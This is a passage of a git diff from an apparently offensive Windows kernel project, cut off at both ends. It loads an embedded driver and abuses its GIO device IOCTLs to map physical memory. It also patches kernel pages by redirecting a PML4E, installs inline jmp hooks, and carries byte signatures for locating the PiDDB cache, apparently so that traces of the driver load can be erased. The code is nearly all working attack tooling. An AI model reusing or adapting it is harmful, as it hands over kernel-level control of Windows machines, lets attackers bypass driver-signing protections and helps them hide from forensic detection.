if (!kernel_addr)
|
||||
return {};
|
||||
|
||||
virt_addr_t kernel_addr_t{ kernel_addr };
|
||||
|
||||
//
|
||||
// if its a 2mb page
|
||||
//
|
||||
if (kernel_entries.pd.second.page_size)
|
||||
{
|
||||
const auto new_page = VirtualAlloc(
|
||||
NULL,
|
||||
0x1000 * 512 * 2, // 4mb
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
memset(new_page, NULL, 512 * 0x1000); // zero 2mb
|
||||
|
||||
//
|
||||
// copy 2mb one page at a time.
|
||||
//
|
||||
for (auto idx = 0u; idx < 512; ++idx)
|
||||
{
|
||||
const auto old_page = mem_ctx->set_page(reinterpret_cast<void*>((kernel_entries.pt.second.pfn << 12) + (idx * 0x1000)));
|
||||
memcpy((void*)((std::uintptr_t)new_page + (idx * 0x1000)), old_page, 0x1000);
|
||||
}
|
||||
|
||||
pt_entries new_page_entries;
|
||||
const auto new_page_phys = mem_ctx->virt_to_phys(new_page_entries, new_page);
|
||||
return { new_page_phys, new_page };
|
||||
}
|
||||
else // 1kb
|
||||
{
|
||||
const auto new_page = VirtualAlloc(
|
||||
NULL,
|
||||
0x1000,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
memset(new_page, NULL, 0x1000);
|
||||
|
||||
const auto old_page =
|
||||
mem_ctx->set_page(
|
||||
reinterpret_cast<void*>(
|
||||
kernel_entries.pt.second.pfn << 12));
|
||||
memcpy(new_page, old_page, 0x1000);
|
||||
|
||||
pt_entries new_page_entries;
|
||||
const auto new_page_phys =
|
||||
mem_ctx->virt_to_phys(
|
||||
new_page_entries,
|
||||
new_page
|
||||
);
|
||||
|
||||
return { new_page_phys, new_page };
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,61 @@
|
||||
#pragma once
|
||||
#include "../mem_ctx/mem_ctx.hpp"
|
||||
|
||||
namespace nasa
|
||||
{
|
||||
class patch_ctx
|
||||
{
|
||||
public:
|
||||
explicit patch_ctx(mem_ctx* mem_ctx);
|
||||
|
||||
//
|
||||
// returns a virtual address mapping of the newly patched page(s).
|
||||
//
|
||||
void* patch(void* kernel_addr);
|
||||
__forceinline void enable()
|
||||
{
|
||||
mapped_pml4e->pfn = new_pml4e.pfn;
|
||||
}
|
||||
|
||||
__forceinline void disable()
|
||||
{
|
||||
mapped_pml4e->pfn = old_pml4e.pfn;
|
||||
}
|
||||
private:
|
||||
|
||||
//
|
||||
// std::pair< physical page, virtual address >
|
||||
//
|
||||
std::pair<void*, void*> make_pdpt(const pt_entries& kernel_entries, void* kernel_addr);
|
||||
std::pair<void*, void*> make_pd(const pt_entries& kernel_entries, void* kernel_addr);
|
||||
std::pair<void*, void*> make_pt(const pt_entries& kernel_entries, void* kernel_addr);
|
||||
std::pair<void*, void*> make_page(const pt_entries& kernel_entries, void* kernel_addr);
|
||||
|
||||
//
|
||||
// context of the current process you want to patch.
|
||||
//
|
||||
mem_ctx* mem_ctx;
|
||||
|
||||
//
|
||||
// newly created table entries and table pointers (pdpte, pde, pte)
|
||||
//
|
||||
pt_entries new_entries;
|
||||
|
||||
//
|
||||
// old and new pml4e
|
||||
//
|
||||
pml4e new_pml4e;
|
||||
pml4e old_pml4e;
|
||||
|
||||
//
|
||||
// kernel address of the patch.
|
||||
//
|
||||
void* kernel_addr;
|
||||
|
||||
//
|
||||
// pointer to the mapped pml4e
|
||||
// used for enable/disable patch...
|
||||
//
|
||||
ppml4e mapped_pml4e;
|
||||
};
|
||||
}
|
||||
@ -0,0 +1,96 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <mutex>
|
||||
#include <cstdint>
|
||||
#include <map>
|
||||
|
||||
#include "../util/util.hpp"
|
||||
#include "../loadup.hpp"
|
||||
#include "../raw_driver.hpp"
|
||||
|
||||
#pragma pack ( push, 1 )
|
||||
typedef struct _GIOMAP
|
||||
{
|
||||
unsigned long interface_type;
|
||||
unsigned long bus;
|
||||
std::uintptr_t physical_address;
|
||||
unsigned long io_space;
|
||||
unsigned long size;
|
||||
} GIOMAP;
|
||||
#pragma pack ( pop )
|
||||
|
||||
namespace nasa
|
||||
{
|
||||
inline std::string drv_key;
|
||||
inline HANDLE drv_handle = NULL;
|
||||
|
||||
//
|
||||
// please code this function depending on your method of physical read/write.
|
||||
//
|
||||
inline bool load_drv()
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
raw_driver,
|
||||
sizeof(raw_driver)
|
||||
);
|
||||
|
||||
drv_key = key;
|
||||
drv_handle = CreateFile(
|
||||
"\\\\.\\GIO",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
return drv_handle;
|
||||
}
|
||||
|
||||
//
|
||||
// please code this function depending on your method of physical read/write.
|
||||
//
|
||||
inline bool unload_drv()
|
||||
{
|
||||
return CloseHandle(drv_handle) && driver::unload(drv_key);
|
||||
}
|
||||
|
||||
//
|
||||
// please code this function depending on your method of physical read/write.
|
||||
//
|
||||
inline std::uintptr_t map_phys(
|
||||
std::uintptr_t addr,
|
||||
std::size_t size
|
||||
)
|
||||
{
|
||||
//--- ensure the validity of the address we are going to try and map
|
||||
if (!util::is_valid(addr))
|
||||
return NULL;
|
||||
|
||||
GIOMAP in_buffer = { 0, 0, addr, 0, size };
|
||||
uintptr_t out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
|
||||
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
|
||||
return out_buffer[0];
|
||||
|
||||
}
|
||||
|
||||
//
|
||||
// please code this function depending on your method of physical read/write.
|
||||
//
|
||||
inline bool unmap_phys(
|
||||
std::uintptr_t addr,
|
||||
std::size_t size
|
||||
)
|
||||
{
|
||||
uintptr_t in_buffer = addr;
|
||||
uintptr_t out_buffer[2] = {sizeof(out_buffer)};
|
||||
|
||||
unsigned long returned = NULL;
|
||||
DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
|
||||
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
|
||||
return out_buffer[0];
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,190 @@
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 xerox
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <map>
|
||||
#include <atomic>
|
||||
#include <memory>
|
||||
|
||||
#if _M_IX86
|
||||
#define OFFSET_TO_ADDRESS 0x1
|
||||
#elif _M_X64
|
||||
#define OFFSET_TO_ADDRESS 0x2
|
||||
#endif
|
||||
|
||||
namespace hook
|
||||
{
|
||||
static void write_to_readonly(void* addr, void* data, int size)
|
||||
{
|
||||
DWORD old_flags;
|
||||
VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags);
|
||||
memcpy((void*)addr, data, size);
|
||||
VirtualProtect((LPVOID)addr, size, old_flags, &old_flags);
|
||||
}
|
||||
|
||||
class detour
|
||||
{
|
||||
public:
|
||||
detour(void* addr_to_hook, void* jmp_to, bool enable = true)
|
||||
: hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false)
|
||||
{
|
||||
//setup hook
|
||||
memcpy(
|
||||
jmp_code + OFFSET_TO_ADDRESS,
|
||||
&jmp_to,
|
||||
sizeof(jmp_to)
|
||||
);
|
||||
|
||||
//save bytes
|
||||
memcpy(
|
||||
org_bytes,
|
||||
hook_addr,
|
||||
sizeof(org_bytes)
|
||||
);
|
||||
if(enable)
|
||||
install();
|
||||
}
|
||||
|
||||
void install()
|
||||
{
|
||||
if (hook_installed.load())
|
||||
return;
|
||||
|
||||
// mapped page is already read/write
|
||||
memcpy(hook_addr, jmp_code, sizeof(jmp_code));
|
||||
hook_installed.exchange(true);
|
||||
}
|
||||
void uninstall()
|
||||
{
|
||||
if (!hook_installed.load())
|
||||
return;
|
||||
|
||||
// mapped page is already read/write
|
||||
memcpy(hook_addr, org_bytes, sizeof(org_bytes));
|
||||
hook_installed.exchange(false);
|
||||
}
|
||||
|
||||
~detour() { uninstall(); }
|
||||
bool installed() { return hook_installed; }
|
||||
void* hook_address() { return hook_addr; }
|
||||
void* detour_address() { return detour_addr; }
|
||||
private:
|
||||
std::atomic<bool> hook_installed;
|
||||
void *hook_addr, *detour_addr;
|
||||
|
||||
#if _M_IX86
|
||||
/*
|
||||
0: b8 ff ff ff ff mov eax, 0xffffffff
|
||||
5: ff e0 jmp eax
|
||||
*/
|
||||
unsigned char jmp_code[7] = {
|
||||
0xb8, 0x0, 0x0, 0x0, 0x0,
|
||||
0xFF, 0xE0
|
||||
};
|
||||
#elif _M_X64
|
||||
/*
|
||||
0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff
|
||||
7: ff e0 jmp rax
|
||||
*/
|
||||
unsigned char jmp_code[12] = {
|
||||
0x48, 0xb8,
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0xff, 0xe0
|
||||
};
|
||||
#endif
|
||||
std::uint8_t org_bytes[sizeof(jmp_code)];
|
||||
};
|
||||
|
||||
static std::map<void*, std::unique_ptr<detour>> hooks{};
|
||||
|
||||
/*
|
||||
Author: xerox
|
||||
Date: 12/19/2019
|
||||
|
||||
Create Hook without needing to deal with objects
|
||||
*/
|
||||
static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true)
|
||||
{
|
||||
if (!addr_to_hook)
|
||||
return;
|
||||
|
||||
hooks.insert({
|
||||
addr_to_hook,
|
||||
std::make_unique<detour>(
|
||||
addr_to_hook,
|
||||
jmp_to_addr,
|
||||
enable
|
||||
)}
|
||||
);
|
||||
}
|
||||
|
||||
/*
|
||||
Author: xerox
|
||||
Date: 12/19/2019
|
||||
|
||||
Enable hook given the address to hook
|
||||
*/
|
||||
static void enable(void* addr)
|
||||
{
|
||||
if (!addr)
|
||||
return;
|
||||
hooks.at(addr)->install();
|
||||
}
|
||||
|
||||
/*
|
||||
Author: xerox
|
||||
Date: 12/19/2019
|
||||
|
||||
Disable hook givent the address of the hook
|
||||
*/
|
||||
static void disable(void* addr)
|
||||
{
|
||||
if (!addr)
|
||||
return;
|
||||
hooks.at(addr)->uninstall();
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Author: xerox
|
||||
Date: 12/19/2019
|
||||
|
||||
Remove hook completely from vector
|
||||
*/
|
||||
static void remove(void* addr)
|
||||
{
|
||||
if (!addr)
|
||||
return;
|
||||
hooks.at(addr)->~detour();
|
||||
hooks.erase(addr);
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,343 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#if _DEBUG
|
||||
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
||||
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
||||
#else
|
||||
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
||||
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
||||
#endif
|
||||
|
||||
inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24";
|
||||
inline const char piddb_lock_mask[] = "xxx????x????xxxx";
|
||||
|
||||
inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F";
|
||||
inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx";
|
||||
|
||||
#define MM_COPY_MEMORY_PHYSICAL 0x1
|
||||
#define MM_COPY_MEMORY_VIRTUAL 0x2
|
||||
|
||||
constexpr auto PAGE_SIZE = 0x1000;
|
||||
constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
|
||||
|
||||
constexpr auto SystemModuleInformation = 11;
|
||||
constexpr auto SystemHandleInformation = 16;
|
||||
constexpr auto SystemExtendedHandleInformation = 64;
|
||||
|
||||
typedef struct PiDDBCacheEntry
|
||||
{
|
||||
LIST_ENTRY list;
|
||||
UNICODE_STRING driver_name;
|
||||
ULONG time_stamp;
|
||||
NTSTATUS load_status;
|
||||
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
|
||||
}PIDCacheobj;
|
||||
|
||||
typedef struct _SYSTEM_HANDLE
|
||||
{
|
||||
PVOID Object;
|
||||
HANDLE UniqueProcessId;
|
||||
HANDLE HandleValue;
|
||||
ULONG GrantedAccess;
|
||||
USHORT CreatorBackTraceIndex;
|
||||
USHORT ObjectTypeIndex;
|
||||
ULONG HandleAttributes;
|
||||
ULONG Reserved;
|
||||
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
|
||||
|
||||
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
|
||||
{
|
||||
ULONG_PTR HandleCount;
|
||||
ULONG_PTR Reserved;
|
||||
SYSTEM_HANDLE Handles[1];
|
||||
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||
{
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES
|
||||
{
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||
|
||||
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
|
||||
|
||||
typedef struct _MM_COPY_ADDRESS {
|
||||
union {
|
||||
PVOID VirtualAddress;
|
||||
PHYSICAL_ADDRESS PhysicalAddress;
|
||||
};
|
||||
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
|
||||
|
||||
typedef CCHAR KPROCESSOR_MODE;
|
||||
typedef enum _MODE {
|
||||
KernelMode,
|
||||
UserMode,
|
||||
MaximumMode
|
||||
} MODE;
|
||||
|
||||
typedef enum _POOL_TYPE {
|
||||
NonPagedPool,
|
||||
NonPagedPoolExecute,
|
||||
PagedPool,
|
||||
NonPagedPoolMustSucceed,
|
||||
DontUseThisType,
|
||||
NonPagedPoolCacheAligned,
|
||||
PagedPoolCacheAligned,
|
||||
NonPagedPoolCacheAlignedMustS,
|
||||
MaxPoolType,
|
||||
NonPagedPoolBase,
|
||||
NonPagedPoolBaseMustSucceed,
|
||||
NonPagedPoolBaseCacheAligned,
|
||||
NonPagedPoolBaseCacheAlignedMustS,
|
||||
NonPagedPoolSession,
|
||||
PagedPoolSession,
|
||||
NonPagedPoolMustSucceedSession,
|
||||
DontUseThisTypeSession,
|
||||
NonPagedPoolCacheAlignedSession,
|
||||
PagedPoolCacheAlignedSession,
|
||||
NonPagedPoolCacheAlignedMustSSession,
|
||||
NonPagedPoolNx,
|
||||
NonPagedPoolNxCacheAligned,
|
||||
NonPagedPoolSessionNx
|
||||
} POOL_TYPE;
|
||||
|
||||
typedef enum _MEMORY_CACHING_TYPE {
|
||||
MmNonCached,
|
||||
MmCached,
|
||||
MmWriteCombined,
|
||||
MmHardwareCoherentCached,
|
||||
MmNonCachedUnordered,
|
||||
MmUSWCCached,
|
||||
MmMaximumCacheType,
|
||||
MmNotMapped
|
||||
} MEMORY_CACHING_TYPE;
|
||||
|
||||
typedef struct _KAPC_STATE {
|
||||
LIST_ENTRY ApcListHead[MaximumMode];
|
||||
struct _KPROCESS* Process;
|
||||
union {
|
||||
UCHAR InProgressFlags;
|
||||
struct {
|
||||
BOOLEAN KernelApcInProgress : 1;
|
||||
BOOLEAN SpecialApcInProgress : 1;
|
||||
};
|
||||
};
|
||||
|
||||
BOOLEAN KernelApcPending;
|
||||
union {
|
||||
BOOLEAN UserApcPendingAll;
|
||||
struct {
|
||||
BOOLEAN SpecialUserApcPending : 1;
|
||||
BOOLEAN UserApcPending : 1;
|
||||
};
|
||||
};
|
||||
} KAPC_STATE, * PKAPC_STATE, * PRKAPC_STATE;
|
||||
|
||||
using PEPROCESS = PVOID;
|
||||
|
||||
using ZwOpenProcess = NTSYSAPI NTSTATUS (__fastcall*)(
|
||||
PHANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
CLIENT_ID* ClientId
|
||||
);
|
||||
|
||||
using ZwAllocateVirtualMemory = NTSTATUS(__fastcall*)(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
_Inout_ PVOID* BaseAddress,
|
||||
_In_ ULONG_PTR ZeroBits,
|
||||
_Inout_ PSIZE_T RegionSize,
|
||||
_In_ ULONG AllocationType,
|
||||
_In_ ULONG Protect
|
||||
);
|
||||
|
||||
using MmCopyVirtualMemory = NTSTATUS (__fastcall*)(
|
||||
IN PEPROCESS FromProcess,
|
||||
IN PVOID FromAddress,
|
||||
IN PEPROCESS ToProcess,
|
||||
OUT PVOID ToAddress,
|
||||
IN SIZE_T BufferSize,
|
||||
IN KPROCESSOR_MODE PreviousMode,
|
||||
OUT PSIZE_T NumberOfBytesCopied
|
||||
);
|
||||
|
||||
using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)(
|
||||
HANDLE ProcessId,
|
||||
PEPROCESS* Process
|
||||
);
|
||||
|
||||
using MmCopyMemory = NTSTATUS(__stdcall*)(
|
||||
PVOID,
|
||||
MM_COPY_ADDRESS,
|
||||
SIZE_T,
|
||||
ULONG,
|
||||
PSIZE_T
|
||||
);
|
||||
|
||||
using MmGetVirtualForPhysical = PVOID(__fastcall*)(
|
||||
__in PHYSICAL_ADDRESS PhysicalAddress
|
||||
);
|
||||
|
||||
using MmGetPhysicalAddress = PVOID (__fastcall*)(
|
||||
__in PVOID BaseAddress
|
||||
);
|
||||
|
||||
using ExAllocatePool = PVOID (__fastcall*) (
|
||||
POOL_TYPE PoolType,
|
||||
SIZE_T NumberOfBytes
|
||||
);
|
||||
|
||||
using IoAllocateMdl = PVOID(__fastcall*)(
|
||||
__drv_aliasesMem PVOID VirtualAddress,
|
||||
ULONG Length,
|
||||
BOOLEAN SecondaryBuffer,
|
||||
BOOLEAN ChargeQuota,
|
||||
PVOID Irp
|
||||
);
|
||||
|
||||
using MmBuildMdlForNonPagedPool = void (__fastcall*)(
|
||||
PVOID MemoryDescriptorList
|
||||
);
|
||||
|
||||
using MmMapLockedPagesSpecifyCache = PVOID (__fastcall*)(
|
||||
PVOID MemoryDescriptorList,
|
||||
KPROCESSOR_MODE AccessMode,
|
||||
MEMORY_CACHING_TYPE CacheType,
|
||||
PVOID RequestedAddress,
|
||||
ULONG BugCheckOnFailure,
|
||||
ULONG Priority
|
||||
);
|
||||
|
||||
using ExFreePool = void* (__fastcall*)(
|
||||
PVOID P
|
||||
);
|
||||
|
||||
using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T);
|
||||
using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG);
|
||||
using MmCopyMemory = NTSTATUS(__stdcall*)(PVOID, MM_COPY_ADDRESS, SIZE_T, ULONG, PSIZE_T);
|
||||
using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(uintptr_t, size_t);
|
||||
using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*, bool);
|
||||
using RtlLookupElementGenericTableAvl = PIDCacheobj * (__stdcall*) (void*, void*);
|
||||
using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*, void*);
|
||||
using ExReleaseResourceLite = bool(__stdcall*)(void*);
|
||||
|
||||
typedef union _virt_addr_t
|
||||
{
|
||||
PVOID value;
|
||||
struct
|
||||
{
|
||||
ULONG64 offset : 12;
|
||||
ULONG64 pt_index : 9;
|
||||
ULONG64 pd_index : 9;
|
||||
ULONG64 pdpt_index : 9;
|
||||
ULONG64 pml4_index : 9;
|
||||
ULONG64 reserved : 16;
|
||||
};
|
||||
} virt_addr_t, *pvirt_addr_t;
|
||||
static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
|
||||
typedef union _pml4e
|
||||
{
|
||||
ULONG64 value;
|
||||
struct
|
||||
{
|
||||
ULONG64 present : 1; // Must be 1, region invalid if 0.
|
||||
ULONG64 ReadWrite : 1; // If 0, writes not allowed.
|
||||
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PDPT.
|
||||
ULONG64 page_cache : 1; // Determines the memory type used to access PDPT.
|
||||
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
|
||||
ULONG64 Ignored1 : 1;
|
||||
ULONG64 page_size : 1; // Must be 0 for PML4E.
|
||||
ULONG64 Ignored2 : 4;
|
||||
ULONG64 pfn : 36; // The page frame number of the PDPT of this PML4E.
|
||||
ULONG64 Reserved : 4;
|
||||
ULONG64 Ignored3 : 11;
|
||||
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
|
||||
};
|
||||
} pml4e, * ppml4e;
|
||||
static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
|
||||
typedef union _pdpte
|
||||
{
|
||||
ULONG64 value;
|
||||
struct
|
||||
{
|
||||
ULONG64 present : 1; // Must be 1, region invalid if 0.
|
||||
ULONG64 rw : 1; // If 0, writes not allowed.
|
||||
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PD.
|
||||
ULONG64 page_cache : 1; // Determines the memory type used to access PD.
|
||||
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
|
||||
ULONG64 Ignored1 : 1;
|
||||
ULONG64 page_size : 1; // If 1, this entry maps a 1GB page.
|
||||
ULONG64 Ignored2 : 4;
|
||||
ULONG64 pfn : 36; // The page frame number of the PD of this PDPTE.
|
||||
ULONG64 Reserved : 4;
|
||||
ULONG64 Ignored3 : 11;
|
||||
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
|
||||
};
|
||||
} pdpte, * ppdpte;
|
||||
static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
|
||||
typedef union _pde
|
||||
{
|
||||
ULONG64 value;
|
||||
struct
|
||||
{
|
||||
ULONG64 present : 1; // Must be 1, region invalid if 0.
|
||||
ULONG64 ReadWrite : 1; // If 0, writes not allowed.
|
||||
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PT.
|
||||
ULONG64 page_cache : 1; // Determines the memory type used to access PT.
|
||||
ULONG64 Accessed : 1; // If 0, this entry has not been used for translation.
|
||||
ULONG64 Ignored1 : 1;
|
||||
ULONG64 page_size : 1; // If 1, this entry maps a 2MB page.
|
||||
ULONG64 Ignored2 : 4;
|
||||
ULONG64 pfn : 36; // The page frame number of the PT of this PDE.
|
||||
ULONG64 Reserved : 4;
|
||||
ULONG64 Ignored3 : 11;
|
||||
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
|
||||
};
|
||||
} pde, * ppde;
|
||||
static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
|
||||
typedef union _pte
|
||||
{
|
||||
ULONG64 value;
|
||||
struct
|
||||
{
|
||||
ULONG64 present : 1; // Must be 1, region invalid if 0.
|
||||
ULONG64 ReadWrite : 1; // If 0, writes not allowed.
|
||||
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access the memory.
|
||||
ULONG64 page_cache : 1; // Determines the memory type used to access the memory.
|
||||
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
|
||||
ULONG64 Dirty : 1; // If 0, the memory backing this page has not been written to.
|
||||
ULONG64 PageAccessType : 1; // Determines the memory type used to access the memory.
|
||||
ULONG64 Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global.
|
||||
ULONG64 Ignored2 : 3;
|
||||
ULONG64 pfn : 36; // The page frame number of the backing physical page.
|
||||
ULONG64 Reserved : 4;
|
||||
ULONG64 Ignored3 : 7;
|
||||
ULONG64 ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key.
|
||||
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
|
||||
};
|
||||
} pte, * ppte;
|
||||
static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
@ -0,0 +1,445 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
#include <string_view>
|
||||
#include <iterator>
|
||||
#include <map>
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <tlhelp32.h>
|
||||
#include <array>
|
||||
#include <atomic>
|
||||
#include <algorithm>
|
||||
|
||||
#include "nt.hpp"
|
||||
|
||||
namespace util
|
||||
{
|
||||
//--- ranges of physical memory
|
||||
inline std::map<std::uintptr_t, std::size_t> pmem_ranges;
|
||||
|
||||
//--- validates the address
|
||||
inline bool is_valid(std::uintptr_t addr)
|
||||
{
|
||||
for (auto range : pmem_ranges)
|
||||
if (addr >= range.first && addr <= range.first + range.second)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
inline const auto init_ranges = ([&]() -> bool
|
||||
{
|
||||
HKEY h_key;
|
||||
DWORD type, size;
|
||||
LPBYTE data;
|
||||
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
|
||||
data = new BYTE[size];
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
|
||||
DWORD count = *(DWORD*)(data + 16);
|
||||
auto pmi = data + 24;
|
||||
for (int dwIndex = 0; dwIndex < count; dwIndex++)
|
||||
{
|
||||
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
|
||||
pmi += 20;
|
||||
}
|
||||
delete[] data;
|
||||
RegCloseKey(h_key);
|
||||
return true;
|
||||
})();
|
||||
|
||||
inline std::uintptr_t get_module_base(const char* module_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
|
||||
